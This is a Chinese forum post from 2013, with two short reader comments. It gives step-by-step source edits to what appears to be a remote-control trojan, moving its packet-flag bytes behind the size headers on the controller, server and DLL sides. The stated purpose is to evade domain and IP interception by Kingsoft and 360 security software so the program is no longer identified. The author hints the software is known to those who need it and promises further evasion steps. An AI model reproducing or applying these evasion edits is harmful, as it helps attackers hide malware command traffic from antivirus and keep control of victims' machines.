过金山、3X域名拦截

如何过金山、3X域名拦截上线修改方法

主控端处理

搜索
// 5 bytes packet flag
pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));

移动到
// 4 byte header [Size of Entire Packet]
pContext->m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
pContext->m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
这两句下面

搜索
if (dwIoSize == FLAG_SIZE && memcmp(pContext->m_byInBuffer, m_bPacketFlag, FLAG_SIZE) == 0)

if (dwIoSize == FLAG_SIZE && memcmp(pContext->m_byInBuffer+8, m_bPacketFlag, FLAG_SIZE) == 0)

搜索
CopyMemory(bPacketFlag, pContext->m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));

CopyMemory(bPacketFlag, pContext->m_CompressionBuffer.GetBuffer(8), sizeof(bPacketFlag));

搜索
CopyMemory(&nSize, pContext->m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));

CopyMemory(&nSize, pContext->m_CompressionBuffer.GetBuffer(0), sizeof(int));

搜索
pContext->m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));(DLL也有 不用管 只改控制端)
把这句移动到这两句下面
pContext->m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));
pContext->m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));

控制端处理

搜索
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)

if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer+8, m_bPacketFlag, FLAG_SIZE) == 0)

搜索
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));

CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(8), sizeof(bPacketFlag));

搜索
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));

CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(0), sizeof(int));

DLL端处理

搜索
m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag)); (主控端也有 不要管只改DLL的)
移动到
m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));
这两句下面

搜索
// 5 bytes packet flag
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); (主控端也有 不用管只改DLL的)
移动到
// 4 byte header [Size of Entire Packet]
m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
这两句下面

现在可以测试了,这个方法其实效果已经并不太好了,还是会拦截部分,但已经不会直接提示是什么程序了
要完全过掉域名和IP拦截需要处理其它协议部分,下次发布

关于此文是属于哪个软件的,需要的人会知道的,不点明了




评论 (2)

  1. 沙发
    adoing 2013-01-14 14:32

    @sldfjn
    只能说你不会用,这哪会有没用的说法!

  2. 板凳
    sldfjn 2013-01-14 03:29

    都不管用 了n年前的东西